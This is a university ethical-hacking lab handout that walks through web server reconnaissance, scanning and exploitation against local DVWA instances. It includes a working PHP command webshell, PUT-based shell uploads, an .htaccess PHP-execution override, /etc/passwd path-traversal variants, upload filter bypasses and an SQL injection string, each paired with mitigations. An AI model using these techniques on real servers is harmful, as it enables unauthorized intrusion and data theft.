

Week 8 Lab Activities: Hacking Web Servers

CCS6324: Ethical Hacking & Penetration Testing

DISCLAIMER & ETHICS

IMPORTANT: These labs must only be performed on authorized systems and in controlled lab environments. Unauthorized testing of web servers is illegal. Each student is responsible for obtaining written permission before testing any web infrastructure. Use only provided lab environments or intentionally vulnerable applications designed for training.

Authorized Testing Scope: These activities are limited to:

- DVWA (Damn Vulnerable Web Application)
 - WebGoat
 - HackTheBox retired machines
 - OWASP Juice Shop
 - Personal lab environment (VirtualBox/Hyper-V)
 - Websites explicitly offering bug bounty programs with written authorization
-

LAB ENVIRONMENT SETUP

Prerequisites

Students should have:

- Linux machine (Ubuntu 20.04+ or Kali Linux)
- Basic command-line proficiency
- Understanding of HTTP/HTTPS from lecture
- VirtualBox or VMware for vulnerable application deployment

Required Tools Installation

Ubuntu/Debian-based Linux:

```
# Update package manager
sudo apt update && sudo apt upgrade -y

# Essential tools
sudo apt install -y curl wget netcat-openbsd nmap

# Install Go (for Gobuster)
wget https://golang.org/dl/go1.21.5.linux-amd64.tar.gz
```

```

sudo tar -C /usr/local -xzf go1.21.5.linux-amd64.tar.gz
echo 'export PATH=$PATH:/usr/local/go/bin' >> ~/.bashrc
source ~/.bashrc

# Install Gobuster
go install github.com/OJ/gobuster/v3@latest
export PATH=$PATH:~/go/bin

# Install Nikto
git clone https://github.com/sullo/nikto.git
cd nikto && sudo perl ./nikto.pl -h

# Install WhatWeb
sudo apt install -y whatweb

# Install FFuF
sudo apt install -y ffuf

# Burp Suite Community (download from portswigger.net)
# Or install via snap: sudo snap install burp-suite-community

# DVWA (Damn Vulnerable Web Application)
git clone https://github.com/digininja/DVWA.git
cd DVWA
# Follow setup instructions in DVWA README

```

Kali Linux (pre-installed): Most tools are already available. Verify:

```
which nikto whatweb ffuf gobuster burp
```

Setting Up DVWA Locally

Using Docker (Recommended):

```

docker pull vulnerables/web-dvwa
docker run --rm -it -p 80:80 vulnerables/web-dvwa

```

Access at: <http://localhost> Default credentials: admin:password

Manual Setup (Ubuntu):

```

# Install LAMP stack
sudo apt install -y apache2 mysql-server php php-mysql php-gd

# Clone DVWA
git clone https://github.com/digininja/DVWA.git
sudo mv DVWA /var/www/dvwa

# Configure permissions
sudo chown -R www-data:www-data /var/www/dvwa
sudo chmod -R 755 /var/www/dvwa

# Setup database
mysql -u root -p <
/var/www/dvwa/docs/SQL/Create_MySQL_User_and_Privileges.sql

# Start Apache
sudo systemctl start apache2

```

ACTIVITY 1: WEB SERVER FINGERPRINTING WITH NETCRAFT & WHATWEB

Objective: Learn to identify web server versions, technologies, and infrastructure.

Time: 45 minutes

Difficulty: Beginner

Step 1: Passive Fingerprinting with Netcraft

1. Open web browser and navigate to: <https://sitereport.netcraft.com/>
2. Enter target domain: `example.com`
3. Review report sections:
 - Hosting history
 - Server technology
 - Operating system
 - Network information
 - Mail server configuration

Question 1.1: What web server software does `example.com` use? What operating system?

Question 1.2: Are there any historical DNS records? What do they reveal about infrastructure changes?

Step 2: WhatWeb Fingerprinting

Basic Scanning:

```
whatweb http://localhost
```

Aggressive Scanning (more thorough, slower):

```
whatweb --aggressive http://localhost
```

Stealth Scanning (avoid detection):

```
whatweb --user-agent="Mozilla/5.0" http://localhost
```

Output Analysis:

```
[*] Target: http://localhost
[*] Title: DVWA - Damn Vulnerable Web Application
[+] Apache 2.4.41 (Ubuntu)
[+] PHP 7.4.3
[+] MySQL
[+] Cookies: PHPSESSID
[+] X-Powered-By: PHP/7.4.3
```

Questions:

1. **Question 1.3:** What technologies does DVWA use? List all identified components.
2. **Question 1.4:** What information disclosure vulnerabilities do these headers present?

Step 3: Manual Header Analysis

```
# View all response headers
curl -v http://localhost/

# Extract specific headers
curl -I http://localhost/ | grep -i "server|x-powered|x-aspnet"

# Test HTTPS/TLS version
openssl s_client -connect example.com:443
```

Examine:

- Server: header
- X-Powered-By: header
- X-AspNet-Version: (if applicable)
- Any custom headers

Question 1.5: What sensitive information is exposed through HTTP headers? How would you mitigate this?

ACTIVITY 2: NIKTO VULNERABILITY SCANNING

Objective: Perform automated web server vulnerability assessment.

Time: 60 minutes

Difficulty: Beginner to Intermediate

Step 1: Basic Nikto Scan

```
nikto -h http://localhost -output nikto_report.html
```

Output Format:

```
+ Server: Apache/2.4.41 (Ubuntu)
+ Root page / redirects to: /login.php
+ Uncommon header "X-Frame-Options" found...
+ PHP/7.4.3 appears to be installed
+ /phpinfo.php: This might be interesting...
+ /config.php: Configuration file found
+ /login.php: Login page found
+ Apache is vulnerable to CVE-XXXX-XXXXX
```

Step 2: Parse Scan Results

Review the HTML report (nikto_report.html):

- Identified vulnerabilities
- CVE references
- Severity levels
- Suggested remediations

Questions:

1. **Question 2.1:** List all vulnerabilities found. Which are critical?
2. **Question 2.2:** What does the /config.php exposure indicate?
3. **Question 2.3:** Are default files or test pages exposed? Explain the risk.

Step 3: Targeted Scanning

```
# Scan specific port
nikto -h http://localhost:8080

# Skip certain tests (faster)
nikto -h http://localhost -Tuning x

# Aggressive testing
nikto -h http://localhost -Tuning 9

# Custom User-Agent (evasion)
nikto -h http://localhost -useragent "Mozilla/5.0"

# Save to multiple formats
nikto -h http://localhost -output nikto_report.csv -f csv
nikto -h http://localhost -output nikto_report.json -f json
```

Step 4: Exploit Vulnerable Misconfigurations

If Nikto identifies exploitable issues:

Question 2.4: If Nikto found a writable directory or file upload vulnerability, how would you exploit it?

Example (Conceptual): If /uploads/ is writable and executable:

```
# Create test payload (do not execute without authorization)
echo "<?php phpinfo(); ?>" > shell.php
# Upload via vulnerable form or directly
curl -X PUT http://localhost/uploads/shell.php -d @shell.php
```

ACTIVITY 3: DIRECTORY BRUTE-FORCING WITH GOBUSTER & DRBUSTER

Objective: Discover hidden directories and files on web servers.

Time: 60 minutes

Difficulty: Intermediate

Step 1: Gobuster Basic Usage

```
# Standard directory enumeration
gobuster dir -u http://localhost/ -w /usr/share/wordlists/dirb/common.txt

# With file extensions
gobuster dir -u http://localhost/ -w /usr/share/wordlists/dirb/common.txt -x php,html,txt,backup

# Verbose output
gobuster dir -u http://localhost/ -w /usr/share/wordlists/dirb/common.txt -v

# Larger wordlist (more thorough but slower)
gobuster dir -u http://localhost/ -w /usr/share/wordlists/dirb/big.txt

# Threads (faster scanning)
gobuster dir -u http://localhost/ -w /usr/share/wordlists/dirb/common.txt -t 50
```

Step 2: Analyze Results

Expected Output:

```
/admin (Status: 200)
/config.php (Status: 200)
/login.php (Status: 200)
/test (Status: 200)
/.htaccess (Status: 403)
/.git (Status: 403)
/backup (Status: 301)
```

Questions:

1. **Question 3.1:** What directories are discovered? Which are sensitive?
2. **Question 3.2:** What do 403 responses indicate? Why not delete them?
3. **Question 3.3:** Is there a backup directory? What might it contain?

Step 3: Subdomain Enumeration

```
# VHOST enumeration (find subdomains)
gobuster vhost -u http://example.com/ -w /usr/share/wordlists/subdomains.txt

# DNS enumeration
gobuster dns -d example.com -w /usr/share/wordlists/subdomains.txt
```

Step 4: FFuF Advanced Fuzzing

```
# Basic directory fuzzing
ffuf -u http://localhost/FUZZ -w /usr/share/wordlists/dirb/common.txt

# Filter by status code
```

```
ffuf -u http://localhost/FUZZ -w /usr/share/wordlists/dirb/common.txt -fc 404

# Combine with extensions
ffuf -u http://localhost/FUZZ.php -w /usr/share/wordlists/dirb/common.txt -mc 200

# Parameter fuzzing
ffuf -u http://localhost/admin.php?FUZZ=test -w /usr/share/wordlists/paramnames.txt

# Match size (avoid false positives)
ffuf -u http://localhost/FUZZ -w wordlist.txt -ms 100
```

Step 5: Analyze Sensitive Discoveries

If sensitive paths are found:

Question 3.4: If `/admin` is discovered and accessible without authentication, what exploits are possible?

Example Analysis:

```
# Test if /admin requires authentication
curl -v http://localhost/admin/

# If it redirects to login
curl -L http://localhost/admin/ # Follow redirects

# Try common bypass techniques
curl -H "X-Original-URL: /admin/" http://localhost/
curl -H "X-Rewrite-URL: /admin/" http://localhost/
```

ACTIVITY 4: WEB SERVER MISCONFIGURATIONS EXPLOITATION

Objective: Identify and exploit common web server misconfigurations.

Time: 90 minutes

Difficulty: Intermediate to Advanced

Step 1: Directory Listing Exploitation

Identify:

```
# If /backup/ returns directory listing
curl http://localhost/backup/
```

Expected Output:

```
<html><body>
```

```
<a href="config.php">config.php</a>
<a href="database.sql">database.sql</a>
</body></html>
```

Exploit:

```
# Download exposed files
wget http://localhost/backup/config.php
wget http://localhost/backup/database.sql

# Examine for credentials
grep -i "password\\|db\\|secret" config.php
```

Mitigation:

```
# Apache: Disable directory listing
<Directory /var/www/html/backup>
    Options -Indexes
</Directory>

# Create index.html or index.php as decoy
echo "Forbidden" > /var/www/html/backup/index.html
```

Question 4.1: What information was exposed? How could it compromise the application?

Step 2: Test HTTP Methods

```
# Check allowed methods
curl -X OPTIONS http://localhost/ -v

# Try PUT (upload files)
curl -X PUT http://localhost/test.txt -d "malicious content"

# Try DELETE
curl -X DELETE http://localhost/test.txt -v

# Check if WebDAV is enabled
curl -X PROPFIND http://localhost/ -v
```

If PUT succeeds:

```
# Upload PHP shell
echo '<?php system($_GET["cmd"]); ?>' > shell.php
curl -X PUT http://localhost/shell.php --data-binary @shell.php

# Execute command
curl "http://localhost/shell.php?cmd=id"
```

Mitigation:

```
# Apache: Disable dangerous methods
<Directory /var/www/html>
    <LimitExcept GET POST HEAD>
        deny from all
    </LimitExcept>
</Directory>
```



```
# Disable TRACE method
TraceEnable Off
```

Question 4.2: What methods should be enabled? Why is PUT dangerous?

Step 3: TRACE Method (XST Attack)

```
# Test if TRACE is enabled
curl -X TRACE http://localhost/ -v
```

If successful (vulnerable):

```
HTTP/1.1 200 OK
TRACE / HTTP/1.1
Host: localhost
...
```

Risk: Can access sensitive headers including cookies via JavaScript in certain browsers.

Mitigation: `TraceEnable Off` in Apache configuration.

Step 4: .htaccess/.web.config Manipulation

Apache (.htaccess):

```
# If .htaccess is writable
curl -X PUT http://localhost/.htaccess -d 'AddType application/x-httpd-php
.jpg'

# Upload PHP as JPG
curl -X PUT http://localhost/image.jpg -d '<?php phpinfo(); ?>'

# Execute
curl http://localhost/image.jpg
```

IIS (web.config):

```
# Similar exploitation with web.config
# Upload malicious XML configuration
```

Question 4.3: Why is .htaccess/.web.config modification critical? What access does it grant?

Step 5: Path Traversal in Web Root

```
# Test path traversal
curl http://localhost/download.php?file=../../etc/passwd

# Encoded variants
curl "http://localhost/download.php?file=..%2F..%2F..%2Fetc%2Fpasswd"

# Double encoding
curl
"http://localhost/download.php?file=..%252F..%252F..%252Fetc%252Fpasswd"

# Null byte (older PHP)
```

```
curl "http://localhost/download.php?file=../../../../etc/passwd%00.jpg"
```

Mitigation:

```
// PHP - Secure file inclusion
$file = basename($_GET['file']); // Remove directory components
$file = str_replace(['..', '/'], '', $file); // Remove dangerous chars
$filepath = realpath('/var/www/uploads/' . $file);

// Verify file is within intended directory
if (strpos($filepath, '/var/www/uploads/') !== 0) {
    die('Invalid file');
}
include($filepath);
```

Question 4.4: What files are accessible via path traversal on Linux vs. Windows systems?

ACTIVITY 5: BURP SUITE PROXY & SCANNER INTRODUCTION

Objective: Learn to use Burp Suite for web application testing.

Time: 90 minutes

Difficulty: Intermediate

Step 1: Burp Suite Installation & Configuration

Download:

- Community Edition: <https://portswigger.net/burp/communitydownload>
- Installation: Follow prompts, requires Java

Launch Burp:

```
# Linux
./burpsuite_community.sh

# Or use Kali
burpsuite
```

Step 2: Configure Browser Proxy

Firefox:

1. Settings → Network Settings
2. Manual proxy configuration:
 - HTTP Proxy: 127.0.0.1
 - Port: 8080

- Check "Also use for HTTPS"

Chrome/Chromium:

```
# Launch with proxy
google-chrome --proxy-server="http://127.0.0.1:8080"

# Or configure system proxy
```

Burp Settings:

1. Proxy → Listener Settings (verify port 8080)
2. Import CA certificate for HTTPS traffic (Proxy → CA certificate)

Step 3: Intercept HTTP Traffic

1. **Enable Interception:** Proxy → Intercept tab → "Intercept is on"
2. **Navigate:** Visit `http://localhost/` in browser
3. **Examine Request:**
4. `GET /login.php HTTP/1.1Host: localhostUser-Agent: Mozilla/5.0Cookie: PHPSESSID=abc123`
5. **Modify Request:** Change parameters, headers
6. **Forward:** Click "Forward" to send to server

Exercise 5.1:

- Intercept login request
- Modify username from "admin" to "test"
- Change password parameter
- Observe server response

Question 5.1: What happens when you modify credentials in transit? Does it bypass authentication?

Step 4: Use Burp Repeater

1. **Send to Repeater:** Right-click intercepted request → Send to Repeater
2. **Repeater Tab:** Modify request manually
3. **Send Request:** Click "Send"
4. **Analyze Response:** View raw/prettified response

Example: Test SQL Injection

```
GET /login.php?user=' OR '1'='1 HTTP/1.1
Host: localhost
```

Question 5.2: Does the application show error messages revealing SQL structure?

Step 5: Burp Scanner

Passive Scanning:

1. Enable "Passive scanning" in Scanner settings
2. Browse application normally
3. Burp analyzes traffic for vulnerabilities
4. Results appear in Scanner → Issues

Active Scanning (Dangerous - only on authorized targets):

1. Select request in Proxy
2. Right-click → "Do active scan"
3. Set scan scope carefully
4. Review findings

Questions:

1. **Question 5.3:** What vulnerabilities does Burp identify in DVWA?
2. **Question 5.4:** Which findings are false positives? How do you verify?

Step 6: Intruder for Parameter Fuzzing

1. **Select Request:** Capture in Proxy
2. **Send to Intruder:** Right-click → Send to Intruder
3. **Set Payload Position:** Highlight parameter to test
4. **Select Attack Type:**
 - Sniper: One payload position
 - Battering ram: Multiple same payloads
 - Pitchfork: Multiple different payloads
 - Cluster bomb: Cartesian product

Example: Username Brute-force

```
GET /login.php?user=FUZZ&pass=password HTTP/1.1
Host: localhost
```

1. Mark "FUZZ" as payload position
2. Load usernames wordlist
3. Set "Grep Match" to find success pattern
4. Run attack

Question 5.5: What username/password combinations return different status codes?

Step 7: Burp Sequencer (Cookie Analysis)

1. **Capture Cookie:** Intercept login response
2. **Send to Sequencer:** Select Set-Cookie header → Send to Sequencer
3. **Analyze:** Review randomness quality
4. **Results:** Entropy assessment

Question 5.6: Is the session cookie sufficiently random? Could it be predicted?

ACTIVITY 6: WEBSHELL UPLOAD AND EXECUTION

Objective: Understand file upload vulnerabilities and malicious file execution.

Time: 60 minutes

Difficulty: Intermediate to Advanced

IMPORTANT ETHICAL NOTE

This activity is **HIGHLY SENSITIVE**. Perform ONLY on:

- Isolated lab environment (not connected to network)
- Authorized testing scenarios
- DVWA or intentionally vulnerable applications
- WITH explicit written authorization

Never upload shells to real systems without authorization. This is illegal.

Step 1: Identify File Upload Functionality

In DVWA:

1. Login with `admin:password`
2. Navigate to: Vulnerabilities → File Upload
3. Examine the upload form

Question 6.1: What file types does the form accept? What validation exists?

Step 2: Create Test WebShell

Basic PHP WebShell (Educational - Do Not Misuse):

```
<?php
if(isset($_GET['cmd'])) {
    echo "<pre>";
    $cmd = $_GET['cmd'];
    echo "Command: " . htmlspecialchars($cmd) . "\n";
    echo "Output:\n";
    system($cmd);
    echo "</pre>";
}
?>
```

Safer Shell (Output Only):

```
<?php
echo "Server Info:\n";
echo "OS: " . php_uname() . "\n";
echo "PHP: " . phpversion() . "\n";
```

```
echo "User: " . get_current_user() . "\n";
?>
```

Save as: info.php

Step 3: Exploit Upload Vulnerability

Attempt 1: Direct Upload

```
# Upload using DVWA form or curl
curl -F "uploaded_file=@info.php" http://localhost/vulnerabilities/upload/
```

If blocked, try bypasses:

Attempt 2: Double Extension

- Rename to: info.php.jpg
- Exploit: Server misconfigures and executes .php regardless of .jpg

Attempt 3: Null Byte (Older PHP)

- Rename to: info.php%00.jpg (URL encoded)

Attempt 4: MIME Type Bypass

```
# Modify Content-Type header
curl -F "uploaded_file=@info.php;type=image/jpeg" \
      http://localhost/vulnerabilities/upload/
```

Attempt 5: .htaccess Override

```
AddType application/x-httpd-php .jpg
```

Upload as .jpg, executed as .php

Step 4: Execute Uploaded Shell

Once uploaded successfully:

```
# Find upload directory
curl http://localhost/uploads/
curl http://localhost/vulnerabilities/upload/uploads/

# Execute shell
curl "http://localhost/uploads/info.php?cmd=id"
curl "http://localhost/uploads/info.php?cmd=whoami"
curl "http://localhost/uploads/info.php?cmd=ls%20-la"
```

Step 5: Mitigation Strategies

Questions:

1. **Question 6.2:** What server-side validation should prevent this?
2. **Question 6.3:** How should uploaded files be stored?

Best Practices:

```
// Whitelist extensions
$allowed = ['jpg', 'jpeg', 'png', 'gif'];
$ext = strtolower(pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION));
if (!in_array($ext, $allowed)) {
    die('Invalid file type');
}

// Validate file content (magic bytes)
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime = finfo_file($finfo, $_FILES['file']['tmp_name']);
if (!in_array($mime, ['image/jpeg', 'image/png'])) {
    die('Invalid file');
}

// Store outside web root
move_uploaded_file($_FILES['file']['tmp_name'],
    '/secure/uploads/' . bin2hex(random_bytes(16)) . '.' . $ext);

// Disable script execution
// .htaccess: php_flag engine off
// web.config: <handler path="*" verb="*" modules="StaticFile" ... />
```

Question 6.4: Why is storing files outside the web root critical?

GRADED ASSIGNMENT (6%): WEB SERVER ASSESSMENT REPORT

Objective: Conduct comprehensive web server assessment and document findings.

Time: Approximately 3-4 hours

Due: End of Week 8

Assignment Requirements

Part A: Target Selection & Reconnaissance (20%)

Select ONE target application from:

- DVWA (recommended for beginners)
- OWASP Juice Shop
- Vulnerable WordPress installation
- Custom lab application (with instructor approval)

Document:

1. **Initial Reconnaissance:**
 - Domain/IP information
 - Hosting provider and registrar
 - DNS records
 - Historical data (Netcraft)
2. **Technology Identification:**
 - Web server software and version
 - Application framework and version
 - Programming languages used
 - Plugins/modules installed
 - Database system
 - Client-side technologies

Deliverable: 1-2 pages with screenshots of Netcraft, WhatWeb, and curl header analysis.

Part B: Vulnerability Assessment (40%)

Required Scanning:

1. **Nikto Scan:**
2. `nikto -h [target] -o nikto_report.html`
 - Document findings
 - Categorize by severity
 - Explain impact of each vulnerability
3. **Directory Brute-forcing:**
4. `gobuster dir -u http://[target]/ -w /usr/share/wordlists/dirb/common.txt -x php,html -o gobuster_results.txt`
 - List discovered directories
 - Identify sensitive/dangerous paths
 - Attempt to access them
5. **Burp Suite Scanning:**
 - Perform active scan (if authorized)
 - Document identified issues
 - Include screenshots of scan results
 - Verify false positives
6. **Manual Testing:**
 - Test for HTTP method support (OPTIONS, PUT, DELETE, TRACE)
 - Check for path traversal vulnerabilities
 - Verify directory listing enabled/disabled
 - Test SSL/TLS configuration

Deliverable: 3-5 pages with vulnerability listing, severity ratings, and screenshots.

Part C: Exploitation & Proof-of-Concept (25%)

Select minimum 2 vulnerabilities to demonstrate:

Option 1: Directory Traversal

- Show vulnerable parameter
- Demonstrate file access
- Explain impact

Option 2: SQL Injection

- Identify vulnerable parameter
- Craft injection payload
- Show successful exploitation
- Demonstrate data extraction

Option 3: File Upload Bypass

- Upload malicious file
- Demonstrate execution
- Show command output

Option 4: Authentication Bypass

- Test for default credentials
- Attempt HTTP method bypass
- Show unauthorized access

Deliverable: 2-3 pages with step-by-step exploitation instructions, command outputs, and screenshots.

Part D: Remediation & Recommendations (15%)

For each vulnerability found, provide:

- 1. Root Cause Analysis:**
 - Why does the vulnerability exist?
 - What code/configuration is problematic?
- 2. Remediation Steps:**
 - Specific code changes
 - Configuration modifications
 - Server-level hardening
- 3. Prevention:**
 - Secure coding practices
 - Security controls
 - Testing methodologies
- 4. Risk Assessment:**
 - CVSS score (if applicable)
 - Business impact
 - Exploitability

Deliverable: 2-3 pages with remediation advice and examples.

Part E: Final Report Structure

Minimum 10-12 pages total:

1. **Executive Summary** (1 page)
 - Target overview
 - Critical findings
 - Recommended actions
2. **Reconnaissance** (Part A findings)
 - Technology stack
 - Infrastructure
3. **Vulnerability Assessment** (Part B findings)
 - Comprehensive vulnerability list
 - Severity breakdown
 - Tool output
4. **Exploitation Results** (Part C findings)
 - Proof-of-concepts
 - Screenshots
 - Command outputs
5. **Remediation Plan** (Part D findings)
 - Prioritized fix list
 - Implementation guidance
6. **Appendices**
 - Tool output logs
 - Screenshot compilation
 - References

Submission Guidelines

File Format:

- PDF report (preferred)
- Or Word document (.docx)
- File naming: [YourName]_Week8_WebServerAssessment.pdf

Required Inclusions:

- At least 10 screenshots
- Minimum 10 pages
- Proper citations (OWASP, CWE, CVE)
- Professional formatting
- Table of contents
- Page numbers

Professional Standards:

- Clear, concise language
- Proper grammar and spelling
- Tables for vulnerability summary
- Code snippets formatted clearly
- Evidence of hands-on testing

Grading Rubric (100 points total)

Criteria	Points	Requirements
Reconnaissance (Part A)	20	Complete technology identification with tools
Assessment Quality (Part B)	25	Multiple vulnerability classes identified
Exploitation Proof (Part C)	20	Successful POC of multiple vulnerabilities
Remediation Advice (Part D)	15	Actionable, specific recommendations
Report Quality	15	Professional, complete, well-organized
Tool Usage & Evidence	5	Proper use of Nikto, Burp, Gobuster, etc.

Example Vulnerability Summary Table

Vulnerability	Type	Severity	Affected Component	CVE	CVSS
Outdated Apache Version	Information Disclosure	Medium	Apache 2.4.1	CVE-XXXX-XXXXX	5.3
Directory Listing Enabled	Information Disclosure	Medium	/uploads/	-	4.3
SQL Injection	Injection	High	login.php	-	8.9
File Upload RCE	Remote Code Execution	Critical	upload.php	-	9.8

Submission Checklist

Before submitting, verify:

- ☐ Report is 10+ pages
- ☐ All 5 sections completed (A-E)
- ☐ At least 10 screenshots included
- ☐ Minimum 2 vulnerabilities demonstrated
- ☐ Remediation advice provided for all findings
- ☐ Professional formatting and structure
- ☐ Proper citations included
- ☐ No unauthorized system access described
- ☐ File naming convention followed
- ☐ Spell-checked and grammar-reviewed

Important Notes

Scope Limitations:

- Only test authorized systems
- Do not access systems beyond lab environment
- Do not extract sensitive data unnecessarily
- Do not leave shells or backdoors

Ethical Requirements:

- Include disclaimer about authorization
- Document scope and rules of engagement
- Respect legal boundaries
- Focus on education, not harm

Resources:

- OWASP Top 10: <https://owasp.org/Top10/>
 - OWASP Testing Guide: <https://owasp.org/www-project-web-security-testing-guide/>
 - CWE Top 25: <https://cwe.mitre.org/top25/>
 - CVE Database: <https://cve.mitre.org/>
-

LAB SAFETY & SECURITY GUIDELINES

1. **Isolation First:** All labs must run on isolated networks or single machines without internet access to unauthorized systems
 2. **Documentation:** Keep detailed logs of all actions taken
 3. **No Production Testing:** Never test against live, production systems without explicit written authorization
 4. **Cleanup:** Remove all uploaded shells and test files after completion
 5. **Reporting Chain:** If real vulnerabilities are discovered, report through proper channels
-

CONCLUSION

These hands-on activities provide practical experience with modern web server penetration testing. Mastery of these skills is essential for security professionals. Remember: with great power comes great responsibility. Use this knowledge ethically and legally.